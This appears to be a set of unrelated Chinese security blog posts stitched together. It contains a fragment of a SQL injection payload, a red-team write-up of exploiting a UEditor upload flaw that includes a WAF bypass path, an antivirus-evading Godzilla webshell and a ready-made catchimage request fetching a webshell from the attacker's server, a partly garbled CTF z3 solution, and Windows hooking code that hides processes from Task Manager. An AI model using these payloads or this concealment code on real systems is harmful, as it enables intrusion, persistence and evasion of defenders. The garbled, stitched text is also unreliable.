'ntp.server';insert into tbl_conf values('ntp.server', 're-ene.energia.co.jp');COMMIT;BEGIN EXCLUSIVE;delete from tbl_conf where key = 'ntp.retry_count';insert into tbl_conf values('ntp.retry_count', '5');COMMIT; 这里很奇怪,已经完美的闭合并提示执行成功,却没有执行这条语句,有明白的大佬可以一起讨论一下。
前言 最近参与某次攻防演练,通过前期信息收集,发现某靶标单位存在某域名备案。 通过fofa搜索子域名站点,发现存在一个子域名的61000端口开放着一个后台,于是开始进行渗透。 目录扫描 进行目录扫描吗,发现/bin.rar路径可以访问到一个压缩文件。 使用下载器下载到电脑,打开压缩包,猜测内容为站点源代码,代码为.net形式,使用c#语言编写。 C#代码经过编译后为dll文件形式,根据dll文件命名规则和.net类型代码格式。我们可以初步判定xxx.Application.Web.dll文件中存在主要的后端逻辑代码。 但是dll为二进制文件我们无法直接查看,因此需要使用dnspy进行反编译查看。 查看方法:将dll文件丢入dnspy即可。 UEditor的曲折利用 在源码中发现该系统使用UEditor。 可得UEditor的路径/Utility/UEditor/controller.ashx 访问关键接口/Utility/UEditor/?action=catchimage和/Utility/UEditor/?action=config 然而服务器返回403无法访问。 通过Fuzz发现403的原因是有可能是因为waf或者edr的拦截。 使用/Utility/UEditor/.css?action=catchimage可进行bypass,成功访问关键接口。 接下来就是参考UEditor .net版本的任意文件上传漏洞进行上传哥斯拉jsp webshell。 漏洞利用参考链接: https://www.freebuf.com/vuls/181814.html 上传过程中发现普通哥斯拉jsp webshell上传后就被杀软拦截无法访问。 于是用https://github.com/Tas9er/ByPassGodzilla项目对webshell进行免杀处理。 方可成功上传webshell并进行连接,至此该UEditor站点利用完成,后面就是愉快的打内网。 UEditor的简便利用 传统的UEditor利用都是本地编写一个html文件中包含一个表单,通过提交表单使目标服务器根据提交的图片马地址下载webshell。 shell addr: 原理还是通过http请求发送图片马地址,所以直接在burpsuite发包也可以达到相同的效果,省去制作html文件的步骤。 POST /替换漏洞URL地址拼接/UEditor/controller.ashx?action=catchimage HTTP/1.1 Host: x.x.x.x Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded source[]=http://替换为自己服务器开启http服务的URL地址/666.jpg?.aspx 请求发送后,返回包返回webshell路径。 总结 UEditor作为热门常见漏洞,在大型企业集团中的.net老旧系统中非常常见,相关的利用方法以及绕过方法需要非常熟练,方可快人一步迅速拿下权限; 在渗透测试过程中,我们可能会遇到一些与实验环境或他人分享的情况不同的挑战。这时,我们需要具备排查问题原因的能力。例如,在利用漏洞的过程中,可能会遇到无法上传webshell或请求被WAF拦截等情况。我们需要根据场景,修改payload或使用fuzz等技术进行绕过,直到成功利用漏洞并获取所需的权限,完成渗透。大战UEditor并突破。
国际赛IrisCTF在前几天举办,遇到了一道有意思的题目,特来总结。 题目 附件如下:babyrevjohnson.tar 解题过程 关键main函数分析如下: int __fastcall main(int argc, const char **argv, const char **envp) { int v4; // [rsp+4h] [rbp-7Ch] int v5; // [rsp+4h] [rbp-7Ch] int v6; // [rsp+8h] [rbp-78h] int v7; // [rsp+Ch] [rbp-74h] char input[104]; // [rsp+10h] [rbp-70h] BYREF unsigned __int64 v9; // [rsp+78h] [rbp-8h] v9 = __readfsqword(0x28u); puts("Welcome to the Johnson's family!"); puts("You have gotten to know each person decently well, so let's see if you remember all of the facts."); puts("(Remember that each of the members like different things from each other.)"); v4 = 0; while ( v4 = 1, x1 = 1, x2 = 1, x3 = 1, x4 = 1, y1 = 1, y2 = 1, y3 = 1, y4 = 1, x1 = 1, x2 = 1, x3 = 1, x4 = 1, y1 = 1, y2 = 1, y3 = 1, y4 <= 4) #非重复值约束 distinct_x=Distinct(x1,x2,x3,x4) distinct_y=Distinct(y1,y2,y3,y4) # 创建条件语句 cond = Or(Not(v2), Not(v1), y1 != 4, y4 == 3, x3 == 4, x4 != 2) cond1 = Not(cond) #正常来说,cond的值要为false的,但是z3的add添加的条件必须为1才行,因此要进行取反操作 # 创建求解器 solver = Solver() # 添加约束条件和条件语句到求解器 solver.add(cond1)#这里添加的条件必须为true,所以最后使用了 not 进行取反操作 solver.add(range_constraint) solver.add(distinct_y) solver.add(distinct_x) # 求解 if solver.check() == sat: # 如果有解,则获取解 model = solver.model() # 打印解 print("成功:") print("x1 =", model[x1]) print("x2 =", model[x2]) print("x3 =", model[x3]) print("x4 =", model[x4]) print("y1 =", model[y1]) print("y2 =", model[y2]) print("y3 =", model[y3]) print("y4 =", model[y4]) else: print("无解") --------------------------------------------------------------------------------------- 最终得到正确的结果 Python 成功: x1 = 1 x2 = 4 x3 = 3 x4 = 2 y1 = 4 y2 = 2 y3 = 3 y4 = 1 x1-x4= 1 4 3 2 y1-y4= 4 2 3 1 按照这样的顺序输入即可: 得到了flag irisctf{m0r3_th4n_0n3_l0g1c_puzzl3_h3r3} 总结 题目并不是很难,没有复杂的ollvm混淆也没有复杂的加密。但是却一步一步引导我们去学习和总结。z3解题的过程中,会有很多误解,然后经过自己的思考总结,发现了漏掉的东西,再进行补充,最终写出正确的脚本。 国外的题还是很值得学习的,不单单为了出题而出题。这就是逻辑运算在z3的运用以及如何增加约束,让z3求解出我们需要的key。
前言 热补丁的钩取方式是为了解决内联钩取在多线程情况下会出错的情况,使用热补丁的钩取可以避免重复读写指令造成问题。 内联钩取潜在问题 正常情况下,在每次跳转到自定义函数时需要将原始的指令(mov edi,edi)写回CreateProcessW函数内,为了后续正确调用CreateProcesW函数,在调用完毕之后,又需要进行挂钩的处理,即将mov指令修改为jmp指令。 但是在多线程的情况下就可能会出现下列问题,在进行mov指令篡改时可能会发生线程的切换,因为篡改指令的操作不是原子操作。那么在线程2时可能调用了CreateProcessW函数时可能跳转指令还没写完成,例如下图的jmp 0x12xx,而不是原本的jmp 0x1234就导致了执行出错。 为了解决此问题采用了热补丁钩取。 热补丁钩取 热补丁是指在不中断系统运行进行应用。即不中断程序运行也能够修改系统库或程序中的执行逻辑。 这里以CreateProcessW为例子 在windbg中使用以下指令在CreateProcessW函数中打下断点 .reload /f bp CreateProcessW 可以看到CreateProcessW函数入口点是mov edi,edi指令,而在该指令上方有一段没用用到的空间,在windbg中使用int 3指令填充了。 而mov edi,edi指令本身没有实际意义,这就是微软在系统库预留的空间,用于打上热补丁。因为这个指令无论被修改成什么都不会影响程序的执行。 接着可以发现这跳指令的长度为2字节,因此可以使用任意的2字节长的指令替换mov edi,edi。 那么这里就需要寻找可以完成跳转的指令,并且仅占用2字节完成对mov指令的替换。 在汇编中存在着短跳转指令可以完成跳转并且仅占用2字节,用以下例子来观察一下短跳转的指令。 int main() { // 使用标签作为跳转目标 __asm { jmp short label; }; // 标签处定义跳转目标 label: // 这里是跳转目标后的代码 return 0; } 可以看到在跳转到标签label上时,采用的跳转指令机器码是EB开头的,而不是E9,并且指令长度也只有2字节。 那么00是跳转的偏移值,根据该例子分析一下跳转偏移的计算 跳转偏移 = 目标地址 - 当前地址 - 当前指令的长度 00 = 00731005 - 00731003 - 2 可以看到计算偏移的公式与jmp指令一致,只是跳转的指令的长度为5字节,而短跳转的指令长度为2字节,因此jmp指令也被称之为长跳转。 那么怎么配合短跳转进行一个钩取操作,如下图。我们可以借助短跳转使得指令执行到上述填充的区域,然后再使用jmp指令完成钩取的操作。这里需要注意的是空闲区域的空间大小需要大于5个字节,不然无法容纳jmp指令。 最终修改后钩取的效果如下图,在自定义函数中不在需要钩取与脱钩的操作,因为我们修改的指令不会影响正常的CreateProcessW函数执行。那么在既然不存在写操作,那么在多线程中也不会因为条件竞争导致还没写完就切换线程的情况。 那么代码实现部分如下,这里需要注意长跳转的指令0xE9,短跳转的指令为0xEB,这里先把偏移计算好了0xF9,因此写好了,但是这个偏移值不是唯一值,只要找到的地址存在大于5字节的空闲区域都是可以的。紧接着就是修改函数内部的指令,将初始的指令修改为短跳转,然后再空闲区中填充长跳转即可。 ... //长跳转指令 BYTE pBuf[5] = { 0xE9, 0 }; //短跳转指令 + 偏移值 BYTE pShortJmp[2] = { 0xEB, 0xF9}; //获取模块地址 HMODULE hModule = GetModuleHandleA(szDllName); //获取函数地址 FARPROC pfnOld = GetProcAddress(hModule, szFuncName); //选中长跳转指令填充的地址,这里选择恰好能容纳jmp指令的位置 DWORD target = (DWORD)pfnOld - 5; //计算跳转的偏移 DWORD dwAddress = (DWORD)pfnNew - target - 5; //修改区域的权限 VirtualProtect((LPVOID)target, 7, PAGE_EXECUTE_READWRITE, &dwOldProtect); //将偏移填充到指令中 memcpy(&pBuf[1], &dwAddress, 4); //将长跳转指令填充 memcpy((LPVOID)target, pBuf, 5); //保存原始的两个字节 memcpy(pOldBytes, pfnOld, 2); //将短跳转指令填充 memcpy(pfnOld, pShortJmp, 2); VirtualProtect((LPVOID)target, 7, dwOldProtect, &dwOldProtect); ... 在自定义函数中,只需要直接调用CreatePorcessW + 2的指令就可以完成原始CreateProcessW函数,不再需要挂钩脱钩的处理。 ... //调用CreateProcessW + 2 BOOL ret = ((LPFN_CreateProcessW)((DWORD)pfnOld + 2))( applicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes, bInheritHandles, dwCreationFlags, lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation ); ... 完整代码: https://github.com/h0pe-ay/HookTechnology/tree/main/Hook-HotPatch 总结 优点:避免多线程出错 缺点:不一定有热补丁的条件,就是不一定存在有垃圾指令 如64位程序的CreateProcessW函数的第一条指令是mov r11,rsp,但是后续的指令都需要用到r11寄存器的值,因此该指令不是无用指令。就不能上述热补丁的方法。
前言 在之前几篇文章已经学习了解了几种钩取的方法 ● 浅谈调试模式钩取 ● 浅谈热补丁 ● 浅谈内联钩取原理与实现 ● 导入地址表钩取技术 这篇文章就利用钩取方式完成进程隐藏的效果。 进程遍历方法 在实现进程隐藏时,首先需要明确遍历进程的方法。 CreateToolhelp32Snapshot CreateToolhelp32Snapshot函数用于创建进程的镜像,当第二个参数为0时则是创建所有进程的镜像,那么就可以达到遍历所有进程的效果。 #include #include #include int main() { //设置编码,便于后面能够输出中文 setlocale(LC_ALL, "zh_CN.UTF-8"); //创建进程镜像,参数0代表创建所有进程的镜像 HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hSnapshot == INVALID_HANDLE_VALUE) { std::cout #include #include int main() { setlocale(LC_ALL, "zh_CN.UTF-8"); DWORD processes[1024], dwResult, size; unsigned int i; //收集所有进程的进程号 if (!EnumProcesses(processes, sizeof(processes), &dwResult)) { std::cout #include #include #include #pragma comment(lib, "ntdll.lib") //定义函数指针 typedef NTSTATUS(WINAPI* NTQUERYSYSTEMINFORMATION)( IN SYSTEM_INFORMATION_CLASS SystemInformationClass, IN OUT PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength ); int main() { //设置编码 setlocale(LC_ALL, "zh_CN.UTF-8"); //获取模块地址 HINSTANCE ntdll_dll = GetModuleHandle(L"ntdll.dll"); if (ntdll_dll == NULL) { std::cout UniqueProcessId); //获取线程数量 wprintf(L"\t%d", psp->NumberOfThreads); //获取工作集大小 wprintf(L"\t%d", psp->WorkingSetSize / 1024); //获取路径 wprintf(L"\t%s\n", psp->ImageName.Buffer); //移动 psp = (PSYSTEM_PROCESS_INFORMATION)((PBYTE)psp + psp->NextEntryOffset); } while (psp->NextEntryOffset != 0); delete[]pBuffer; pBuffer = NULL; } else if (status == STATUS_UNSUCCESSFUL) { wprintf(L"\n STATUS_UNSUCCESSFUL"); } else if (status == STATUS_NOT_IMPLEMENTED) { wprintf(L"\n STATUS_NOT_IMPLEMENTED"); } else if (status == STATUS_INVALID_INFO_CLASS) { wprintf(L"\n STATUS_INVALID_INFO_CLASS"); } else if (status == STATUS_INFO_LENGTH_MISMATCH) { wprintf(L"\n STATUS_INFO_LENGTH_MISMATCH"); } } } } 进程隐藏 通过上述分析可以知道遍历进程的方式有三种,分别是利用CreateToolhelp32Snapshot、EnumProcesses以及ZwQuerySystemInfomation函数 但是CreateToolhelp32Snapshot与EnumProcesses函数底层都是调用了ZwQuerySystemInfomation函数,因此我们只需要钩取该函数即可。 由于测试环境是Win11,因此需要判断在Win11情况下底层是否还是调用了ZwQuerySystemInfomation函数。 可以看到在Win11下还是会调用ZwQuerySystemInfomation函数,在用户态下该函数的名称为NtQuerySystemInformation函数。 这里采用内联钩取的方式对ZwQuerySystemInfomation进行钩取处理,具体怎么钩取在浅谈内联钩取原理与实现已经介绍过了,这里就不详细说明了。这里对自定义的ZwQuerySystemInfomation函数进行说明。 首先第一步需要进行脱钩处理,因为后续需要用到初始的ZwQuerySystemInfomation函数,紧接着获取待钩取函数的地址即可。 ... //脱钩 UnHook("ntdll.dll", "ZwQuerySystemInformation", g_pOrgBytes); HMODULE hModule = GetModuleHandleA("ntdll.dll"); //获取待钩取函数的地址 PROC pfnOld = GetProcAddress(hModule, "ZwQuerySystemInformation"); //调用原始的ZwQuerySystemInfomation函数 NTSTATUS status = ((NTQUERYSYSTEMINFORMATION)pfnOld)(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength); ... 为了隐藏指定进程,我们需要遍历进程信息,找到目标进程并且删除该进程信息实现隐藏的效果。这里需要知道的是进程信息都存储在SYSTEM_PROCESS_INFORMATION结构体中,该结构体是通过单链表对进程信息进行链接。因此我们通过匹配进程名称找到对应的SYSTEM_PROCESS_INFORMATION结构体,然后进行删除即可,效果如下图。 通过单链表中删除节点的操作,取出目标进程的结构体。代码如下 ... pCur = (PSYSTEM_PROCESS_INFORMATION)(SystemInformation); while (true) { if (!lstrcmpi(pCur->ImageName.Buffer, L"test.exe")) { //需要隐藏的进程是最后一个节点 if (pCur->NextEntryOffset == 0) pPrev->NextEntryOffset = 0; //不是最后一个节点,则将该节点取出 else pPrev->NextEntryOffset += pCur->NextEntryOffset; } //不是需要隐藏的节点,则继续遍历 else pPrev = pCur; //链表遍历完毕 if (pCur->NextEntryOffset == 0) break; pCur = (PSYSTEM_PROCESS_INFORMATION)((PBYTE)pCur + pCur->NextEntryOffset); } ... 完整代码:https://github.com/h0pe-ay/HookTechnology/blob/main/ProcessHidden/inlineHook.c 但是采用内联钩取的方法去钩取任务管理器就会出现一个问题,这里将断点取消,利用内联钩取的方式去隐藏进程。 首先利用bl命令查看断点 紧着利用 bc [ID]删除断点 在注入之后任务管理器会在拷贝的时候发生异常 在经过一番调试后发现,由于多线程共同执行导致原本需要可写权限的段被修改为只读权限 在windbg可以用使用!vprot + address查看指定地址的权限,可以看到由于程序往只读权限的地址进行拷贝处理,所以导致了异常。 但是在执行拷贝阶段是先修改了该地址为可写权限,那么导致该原因的情况就是其他线程执行了权限恢复后切换到该线程中进行写,所以导致了这个问题。 因此内联钩取是存在多线程安全的问题,此时可以使用微软自己构建的钩取库Detours,可以在钩取过程中确保线程安全。 Detours 项目地址:https://github.com/microsoft/Detours 环境配置 参考:https://www.cnblogs.com/linxmouse/p/14168712.html 使用vcpkg下载 vcpkg.exe install detours:x86-windows vcpkg.exe install detours:x64-windows vcpkg.exe integrate install 实例 挂钩 利用Detours挂钩非常简单,只需要根据下列顺序,并且将自定义函数的地址与被挂钩的地址即可完成挂钩处理。 ... //用于确保在 DLL 注入或加载时,恢复被 Detours 修改的进程镜像,保持稳定性 DetourRestoreAfterWith(); //开始一个新的事务来附加或分离 DetourTransactionBegin(); //进行线程上下文的更新 DetourUpdateThread(GetCurrentThread()); //挂钩 DetourAttach(&(PVOID&)TrueZwQuerySystemInformation, ZwQuerySystemInformationEx); //提交事务 error = DetourTransactionCommit(); ... 脱钩 然后根据顺序完成脱钩即可。 ... //开始一个新的事务来附加或分离 DetourTransactionBegin(); //进行线程上下文的更新 DetourUpdateThread(GetCurrentThread()); //脱钩 DetourDetach(&(PVOID&)TrueZwQuerySystemInformation, ZwQuerySystemInformationEx); //提交事务 error = DetourTransactionCommit(); ... 挂钩的原理 从上述可以看到,Detours是通过事务确保了在DLL加载与卸载时后的原子性,但是如何确保多线程安全呢?后续通过调试去发现。 可以利用x ntdl!ZwQuerySystemInformation查看函数地址,可以看到函数的未被挂钩前的情况如下图。 挂钩之后原始的指令被修改为一个跳转指令把前八个字节覆盖掉,剩余的3字节用垃圾指令填充。 该地址里面又是一个jmp指令,并且完成间接寻址的跳转。 该地址是自定义函数ZwQuerySystemInformationEx,因此该间接跳转是跳转到的自定义函数内部。 跳转到TrueZwQuerySystemInformation内部发现ZwQuerySystemInformation函数内部的八字节指令被移动到该函数内部。紧接着又完成一个跳转。 该跳转到ZwQuerySystemInformation函数内部紧接着完成ZwQuerySystemInformation函数的调用。 综上所述,整体流程如下图。实际上Detours实际上使用的是热补丁的思路,但是Detours并不是直接在原始的函数空间中进行补丁,而是开辟了一段临时空间,将指令存储在里面。因此在挂钩后不需要进行脱钩处理就可以调用原始函数。因此就不存在多线程中挂钩与脱钩的冲突。 完整代码:https://github.com/h0pe-ay/HookTechnology/blob/main/ProcessHidden/detoursHook.c
您可以订阅此RSS以获取更多信息